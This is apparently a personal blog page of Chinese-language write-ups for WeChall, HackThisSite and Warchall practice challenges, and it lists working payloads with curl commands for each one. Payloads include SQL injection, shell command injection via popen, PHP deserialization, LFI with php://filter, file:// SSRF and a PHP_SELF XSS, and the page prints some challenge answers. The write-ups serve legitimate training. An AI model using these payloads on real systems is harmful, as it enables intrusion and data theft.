Hello Navi

Tech, Security & Personal Notes

Challenge

Your mission is to login as Admin. The application is vulnerable to sql injection, but the signup process seems a bit "weird". 目标是以 admin 身份登录。用户名字段存在 SQL 注入漏洞。

题目给出了 users 表结构(usernamepassword 两列)。登录表单同时兼具注册功能——输入新用户名和密码即可注册。

表单字段名为 usernamecredents。密码的存储方式为 md5($password . 'salt21')——即 MD5 后接固定盐值 salt21

Solution

Step 1: 提取 admin 的密码 hash

通过 UNION 注入读取 admin 的 password 字段:

1
username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='admin' --

返回结果:

1
Hello Admin:215c61d0104f8925b5f7e4e87a7cbdfa... checking your credentials...

admin 的密码 hash 为 215c61d0104f8925b5f7e4e87a7cbdfa

Step 2: 确定 hash 算法

注册一个新用户,用 UNION 提取其 hash,与各种算法比对:

1
2
3
4
# 注册新用户 extractnqwozrfv 密码 password1
# 提取其 hash
$ username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='extractnqwozrfv' -- '
Hello extractnqwozrfv:bd4db6aa036b085e72f546130e5007b7

比对算法后发现:md5('password1' . 'salt21') = bd4db6aa036b085e72f546130e5007b7

Step 3: 破解 admin 的 hash

拿到 215c61d0104f8925b5f7e4e87a7cbdfa 后,需要用 MD5 反查得到明文。这里是本题最核心的一步——在线 MD5 反查服务

尝试了多个在线 hash 反查网站:

  • cmd5.com / xmd5.com — 需要付费
  • pmd5.com — 解不出
  • somd5.com — 成功解出,返回明文 academicsalt21

注意:hashcat / john 等本地工具也可以做,但对于这种简单单词 + 固定后缀的模式,用彩虹表/在线反查更快。关键在于 hash 的构造方式是 md5(明文密码 + 'salt21'),所以反查工具返回的原始输入是 密码 + salt21 整体。

Step 4: 去掉盐值得到真正密码

somd5 返回的明文是 academicsalt21。这里有个坑——直接拿这个值登录会失败。

题目的名字 MD5.SALT 是关键提示:salt 是拼接在 hash 计算过程中的,不是密码的一部分。所以:

1
md5('academic' + 'salt21') = md5('academicsalt21') = 215c61d0104f8925b5f7e4e87a7cbdfa

真正的密码是 academic,去掉末尾的 salt21

Step 5: 登录

1
2
username: admin
credents: academic

登录成功,/en/challs 中该题显示为 wc_chall_solved_1

关键的 SQL 注入点

LOGIN 功能的 SQL 查询:

1
SELECT * FROM users WHERE username='$username'

该查询结果用于获取用户名和密码 hash,然后 PHP 做密码对比:

1
2
3
4
5
6
7
$row = $db->queryFirst("SELECT * FROM users WHERE username='$username'");
if ($row) {
$input_hash = md5($password . 'salt21');
if ($row['password'] === $input_hash) {
// login success
}
}

注册功能的 INSERT 也使用了相同的 hash 算法,所以注册和登录一致。

关于 "weird signup"

挑战描述提到注册过程 "a bit weird"。检查源码发现,在注册时会校验你输入的密码是否和你真实的 WeChall 账号密码一致——如果是,会拒绝注册(err_fool:不允许在这里使用你的真实 WeChall 密码)。但这不影响解题。

academic

Challenge

Sam decided to make a music site. Unfortunately he does not understand Apache.

Sam 决定做一个音乐网站,可惜他不懂 Apache 配置。

页面上随机显示一句歌词,如 "Ghetto Gospel" is the best!,每次刷新会变。没有密码输入框,没有明显的交互元素。

Solution

这题考察的是 Apache 服务器配置知识,解题过程像一个探索任务。

Step 1 — 识别歌曲线索

多次刷新页面,歌曲会变化,包括:

  • "Ghetto Gospel" (2Pac ft. Elton John)
  • "Georgia" (Elton John)
  • 等等

搜索这些歌曲,全部是 Elton John 的作品。这暗示了目录结构。

Step 2 — 目录遍历

尝试拼出 Elton 的名字:访问 /missions/basic/11/e/,发现目录列表!继续往下走:

1
2
3
4
5
/missions/basic/11/e/
/missions/basic/11/e/l/
/missions/basic/11/e/l/t/
/missions/basic/11/e/l/t/o/
/missions/basic/11/e/l/t/o/n/ ← 最后一层,看起来是空的

Step 3 — 查看 .htaccess 文件

/e/l/t/o/n/ 目录看起来是空的,但在 Apache 中,.htaccess 文件可能被目录列表隐藏了。直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/.htaccess

内容:

1
2
3
4
5
IndexIgnore DaAnswer.* .htaccess

<Files .htaccess>
require all granted
</Files>
  • IndexIgnore:告诉 Apache 目录列表中不要显示 DaAnswer.*.htaccess
  • <Files .htaccess>:允许所有人访问 .htaccess(这是关键错误,应该禁止访问)

Step 4 — 访问 DaAnswer

既然 .htaccess 泄露了隐藏的文件名,直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/DaAnswer

页面显示动态文本,如:

1
2
The answer is available!
Just look a little harder.

Step 5 — 提交答案

访问 /missions/basic/11/index.php(注意不是入口页面),会出现密码输入框。表单字段名是 answer,提交 available 即可过关。

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/11/index.php' \
--data-urlencode 'answer=available' \
'https://www.hackthissite.org/missions/basic/11/index.php'

核心知识点:

  1. Apache 的 IndexIgnore 只是不在目录列表中显示文件,文件本身仍然可以被直接访问
  2. .htaccess 文件应该禁止外部访问(Require all denied),否则会泄露目录配置信息
  3. 路径遍历 + 配置文件泄露是经典的 Apache 安全问题

Challenge

PHP 反序列化漏洞。页面显示多个源码文件,需要通过操控 serial_user cookie 触发 SERIAL_Solution::__wakeup() 调用 onChallengeSolved()

Solution

源码结构:

  • code.php: 读取 serial_user cookie,调用 unserialize(),然后用结果调用 getUsername()/getPassword()/getUserlevel()
  • SERIAL_Solution.php: __wakeup() 方法调用 onChallengeSolved()
  • SERIAL_User.php: 包含 username, password, userlevel 属性

核心漏洞: unserialize() 会实例化 cookie 中指定的类。如果反序列化 SERIAL_Solution 对象,__wakeup() 会自动触发。

Payload (设置为 serial_user cookie):

1
O:16:"SERIAL_Solution":0:{}

使用 curl 提交:

1
2
$ curl -b 'WC=<session>; serial_user=O%3A16%3A%22SERIAL_Solution%22%3A0%3A%7B%7D' \
'https://www.wechall.net/en/challenge/are_you_serial/index.php'

注意: __wakeup() 触发后,代码继续调用 getUsername() 等方法可能导致 fatal error。如果 curl 不生效,尝试通过浏览器 cookie 注入。

Challenge

This is the level10 mini challenge found in /home/level/10/ on the warchall box. You can view the source here. 这是 Warchall 服务器上的 Level 10 小挑战,目录在 /home/level/10/(当前服务器实际目录名为 /home/level/10_choose_your_path/),题目页面给出了源码。

题目程序 charp 会统计一个文件的平均每行字符数。源码核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#define BUFSIZE 256

int main(int argc, char *argv[])
{
FILE *fp;
char buf[BUFSIZE];
char *filename;
int lines, chars, cpl;

setregid(510,510); // set real and effective GID to level10

if (argc != 2) {
fprintf(stderr, "Usage: %s filename\n", argv[0]);
exit(EXIT_FAILURE);
}

filename = argv[1];

if (snprintf(buf, BUFSIZE, "/usr/bin/wc -l %s", filename) >= BUFSIZE) {
fprintf(stderr, "Filename %s is too long!\n", filename);
exit(EXIT_FAILURE);
}

fp = popen(buf, "r");
fscanf(fp, "%d", &lines);
pclose(fp);

snprintf(buf, BUFSIZE, "/usr/bin/wc -c %s", filename);
fp = popen(buf, "r");
fscanf(fp, "%d", &chars);
pclose(fp);

cpl = chars / lines;
printf("Chars per line is %d.\n", cpl);

return EXIT_SUCCESS;
}

目录里有两个关键文件:

1
2
3
4
$ ls -la /home/level/10_choose_your_path/
-rwxr-sr-x 1 level10 level10 16392 Jan 3 2023 charp
-rw-r--r-- 1 root level10 1303 Jan 3 2023 charp.c
-rw-rw---- 1 root level10 171 Jan 3 2023 solution.txt

solution.txt 对普通用户不可读,但 charp 有 setgid bit:执行时有效 group 变成 level10,所以它能读这个文件。

Solution

关键约束:

  • 程序确实用绝对路径 /usr/bin/wc,所以不能通过 PATH 劫持 wc
  • 但它把用户输入的 filename 直接拼进 shell 命令,再交给 popen() 执行。
  • popen() 等价于让 /bin/sh -c 执行字符串,因此 ;, |, #, redirection 都会被 shell 解析。

也就是说,这不是文件路径选择问题,而是 command injection。

程序第一次执行的命令形如:

1
/usr/bin/wc -l <filename>

如果我们把 <filename> 传成:

1
solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

实际命令会变成:

1
/usr/bin/wc -l solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

解释:

  • solution.txt 作为正常参数,让 wc 不至于立刻失败。
  • 1>&2 把 stdout 重定向到 stderr。charp 会从 popen() 的 stdout 里读取数字;如果把注入命令的输出留在 stdout,可能干扰 fscanf()
  • ; /bin/cat solution.txt 1>&2 追加执行 cat,借助 setgid 权限读取答案,并输出到 stderr。
  • # 注释掉后面可能拼接出的残余命令片段。

Live 验证命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh -p 19198 <username>@warchall.net
$ cd /home/level/10_choose_your_path
$ ./charp "solution.txt 1>&2; /bin/cat solution.txt 1>&2; #"
8 solution.txt
#!/C:\windows\system32\ed

Congratulations hacker,

You have achieved what only a few achieve.
Kinda.

The flag or solution for this challenge is: <masked>
Cannot scan! Sorry!
171 solution.txt
#!/C:\windows\system32\ed
...

输出会出现两次,是因为程序先执行 wc -l,再执行 wc -c,两次 popen() 都会拼接同一个 filename,所以注入的 cat solution.txt 也被执行两次。

EpidermalGlance

Challenge

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live LFI challenge that is hosted on it. Good Luck! Warchall 服务器上托管了更接近真实环境的 Web hacking 题目。这个挑战是 Live LFI。

WeChall 页面本身只给出入口和提交框,真正的目标站点是:

1
https://lfi.warchall.net/index.php

打开页面后可以看到语言切换链接:

1
2
<a href="index.php?lang=en"><img src="english.png" title="English" alt="EN" /></a>
<a href="index.php?lang=de"><img src="german.png" title="German" alt="DE" /></a>

关键点是 lang 参数。正常情况下它用于选择语言文件,但如果后端直接把它拼进 include,就可能变成 Local File Inclusion。

Solution

先做 baseline:

1
$ curl -s 'https://lfi.warchall.net/index.php?lang=en'

页面正常返回英文内容。然后测试 lang 是否能影响 include 目标。这里不需要 SSH,也不需要在服务器上找文件;直接利用 PHP stream wrapper 读取当前目录下的 solution.php 源码即可。

payload:

1
https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php

为什么用 php://filter

  • 直接访问 solution.php 只能看到它输出的 HTML,PHP 代码会被服务器执行,不会显示源码。
  • LFI 触发的是后端 include,如果包含 solution.php,里面的 PHP 仍然会执行,源码同样不可见。
  • php://filter/convert.base64-encode/resource=solution.php 会让 PHP 在读取文件时先把文件内容 base64 编码。这样 include 得到的是纯文本 base64,不会被当作 PHP 代码执行。

实际请求:

1
2
$ curl -s 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
PGh0bWw+Cjxib2R5Pgo8cHJlIHN0eWxlPSJjb2xvcjojMDAwOyI+dGVoIGZhbGcgc2kgbmFlciE8L3ByZT4K...

把开头连续的 base64 部分解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 - <<'PY'
import base64, re, urllib.request
url = 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
data = urllib.request.urlopen(url, timeout=10).read()
b64 = re.match(rb'[A-Za-z0-9+/=\r\n]+', data).group(0)
print(base64.b64decode(b64).decode())
PY
<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php # YOUR_TROPHY
return '******************'; # <-´ ?>
SteppinStones42Pie

Challenge

一个很短的 PHP/PCRE 正则训练。页面要求提交一个 username:它必须通过正则检查,但长度又要超过正则允许的范围。

核心逻辑可以简化成:

1
2
3
4
5
6
7
if (!preg_match('/^[a-zA-Z]{1,16}$/', $username)) {
die('invalid');
}

if (strlen($username) > 16) {
// solved
}

看起来是矛盾的:正则只允许 1 到 16 个英文字母,后面却要求 strlen($username) > 16

Solution

关键在 PCRE 里 $ 的语义。

在默认模式下,$ 不只匹配字符串真正结尾,也可以匹配「字符串末尾换行符之前的位置」。也就是说:

1
aaaaaaaaaaaaaaaa\n

这串内容有 16 个 a,后面跟一个换行符。

正则 /^[a-zA-Z]{1,16}$/ 匹配时:

  • ^[a-zA-Z]{1,16} 吃掉 16 个 a
  • $ 可以停在最后的 \n 前面。
  • 因此 preg_match() 判定通过。

但 PHP 的 strlen() 会真实计算字节数,换行也算 1 字节:

1
16 个 a + 1 个 \n = 17

于是同一个输入同时满足:

1
2
preg_match('/^[a-zA-Z]{1,16}$/', $username) === 1
strlen($username) > 16

用 curl 提交时要保留末尾的 literal newline,推荐交给 --data-urlencode

1
2
3
4
5
$ curl -sL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'username=aaaaaaaaaaaaaaaa\n' \
'https://www.wechall.net/challenge/training/regexmini/index.php'

Challenge

Z and Gizmore were thinking of a file-sharing company, Crappyshare, to collect the latest warez and earn money in one go. While gizmore was working with the designer on the xhtml/css stuff, Z implemented the upload script, and we got first results...but it seems to contain a vulnerability somewhere. Some crackers already managed to gather sensitive local files (solution.php) and broke into the server.

Crappyshare 是一个文件共享站,支持两种上传方式:直接上传文件,或通过 URL 远程拉取文件。目标是通过漏洞读取服务器本地的 solution.php

Solution

查看源码(index.php?show=code)发现 upload_please_by_url() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) // 验证有 URL scheme
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
upload_please_thx($file_data); // 显示文件内容
}
}
}

关键漏洞:URL scheme 检查为 [a-z]{3,5}://,这意味着 file:// 协议没有被阻止。cURL 的 file:// 协议可以读取本地文件系统。直接用 file://solution.php 作为 URL 上传源:

1
2
$ curl -s -b 'WC=...' --data-urlencode 'url=file://solution.php' \
'https://www.wechall.net/challenge/crappyshare/crappyshare.php'

响应中包含 solution.php 的内容:

1
2
3
#########################
### ***************** ###
#########################

Summary

这个漏洞是典型的 SSRF(Server-Side Request Forgery)—— 服务端本应只允许 HTTP/HTTPS URL,但 Scheme 验证太宽松,允许了 file:// 协议。cURL 的 file:// 直接读取本地文件,绕过了所有访问控制。修复方案是只允许 https?:// 的 URL,并过滤掉 file://ftp:// 等内部协议。

ICaNSeEcLeArLyNoW

Challenge

这是一道 Research 类挑战,目标是找到 WeChall 管理员使用的隐藏 phpMyAdmin 页面。题面没有表单,也不需要提交密码;找到正确入口后访问即可判定。

页面底部藏了一行接近白色的提示文字(color:#fefefe,白底白字,查看 HTML 源码可见):

1
You don't need a hint, do you?

Solution

题名 PHP My Admin 本身就是提示。pma 是 phpMyAdmin 的常见缩写,所以直接尝试对应子域名:

1
https://pma.wechall.net/

访问该子域名会触发挑战检查。公开未登录访问也能看到命中提示,但不会记录账号进度:

1
2
3
4
5
6
7
8
$ curl -skL \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'
<html>
<body>
1:76:Your answer is correct. To keep track of your progress you need to register.
</body>
</html>

这里需要 -k / --insecure,因为站点返回的证书是 CN=www.wechall.net,SAN 里只有 wc2.wechall.netwechall.netwww.wechall.net,不包含 pma.wechall.net。浏览器访问时也会看到证书警告,继续访问即可。

带登录态复现时把 WC=... 换成自己的 cookie:

1
2
3
4
$ curl -skL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'

如果账号状态更新成功,最终以 /en/challsPHP My Adminwc_chall_solved_1 为准。

Challenge

This challenge is about researching the GWF3 codebase. I have put 2 passwords somewhere, but .... The first password is obvious and the second is very subversive. Both are near. Combine them without any separator.

需要研究 WeChall 的 GWF3 框架源码,找到两个隐藏的密码。

Solution

GWF3 源码在 GitHub:gizmore/gwf3

第一个密码("obvious"):

www/challenge/subversive/repeating/what_do_you_want_here.php 中,PHP 注释里藏着密码:

1
<?php /*InDaxIn*/ ?>

页面源码显示空引号,但查看原始 HTML 可以看到注释中的 InDaxIn

第二个密码("very subversive"):

www/challenge/subversive/history/install.php 的 git 历史中。当前版本:

1
$solution = '2bda2998d9b0ee197da142a0447f6725';  // MD5("wrong") — 红鲱鱼!

通过 git log 查看历史提交,原始密码是 NothingHereMoveAlong,后来被替换成了 MD5("wrong") 的哈希。

这就是为什么挑战叫 "Repeating History" —— 你必须重复/回溯 git 历史才能找到原始密码。

组合答案InDaxIn + NothingHereMoveAlong(无分隔符)

InDaxInNothingHereMoveAlong

Your mission is to inject alert(1); into this script, and make it popup a javascript alert.

目标是在页面里注入 alert(1);。现在这题不再依赖浏览器真实弹窗,而是检查 payload 后静默修补输出并判定结果。

Challenge

题目给了源码入口:index.php?highlight=christmas。页面上有一个 username 表单,直觉上像是要在用户名字段里做 XSS,但源码对 username 做了 htmlspecialchars()

1
2
3
4
5
6
7
if (isset($_POST['username']))
{
echo GWF_Box::box(sprintf(
"Well done %s, you entered your username. But this is <b>not</b> what you need to do.",
htmlspecialchars(Common::getPostString('username'))
));
}

所以 username 只是诱饵。题名是 Yourself PHP,真正要看的点是 $_SERVER['PHP_SELF']

Solution

关键代码在表单输出这里:

1
2
3
4
5
6
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('<div>%s</div>', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;

$_SERVER['PHP_SELF'] 被直接塞进 HTML attribute:

1
<form action="..." method="post">

普通访问时,PHP_SELF 只是脚本路径:

1
/challenge/yourself_php/index.php

但 PHP / Web server 通常会把 index.php 后面的 path info 也放进 PHP_SELF。访问下面这种路径时:

1
/challenge/yourself_php/index.php/anything

模板里的 %s 会变成:

1
<form action="/challenge/yourself_php/index.php/anything" method="post">

于是攻击面不在 POST body,而在 URL path info。只要让 path info 先闭合 action 的双引号,再闭合 <form> 起始标签,就能插入脚本节点:

1
/"><script>alert(1);</script>

拼回模板后,旧版漏洞会生成类似这样的 HTML:

1
<form action="/challenge/yourself_php/index.php/"><script>alert(1);</script>" method="post">

浏览器解析时:

  1. " 结束 action 属性。
  2. > 结束 <form> 起始标签。
  3. <script>alert(1);</script> 成为真正的脚本节点。
  4. 后面的 " method="post"> 只是残留文本,不影响前面的 script 执行。

当前 WeChall 源码已经在检查后静默修补了这个输入,注释里写的是:

1
2
3
4
5
# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}

这里的 htmlsepcialchars 是源码注释里的原拼写。也就是说,现在的题目更像 simulated challenge:phpself_checkit() 检查静态 payload,命中后判定正确;不需要真的让当前页面弹窗。

实际访问时用 URL-encoded payload,避免 shell、URL 和 HTML 对 <>" 的处理差异:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/yourself_php/index.php/%22%3E%3Cscript%3Ealert(1);%3C/script%3E' \
| grep -o 'Your answer is correct'
Your answer is correct

如果带登录态访问同一个 URL,命中后会把挑战记到当前账号;最终以 /en/challsYourself PHPwc_chall_solved_1 为准。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE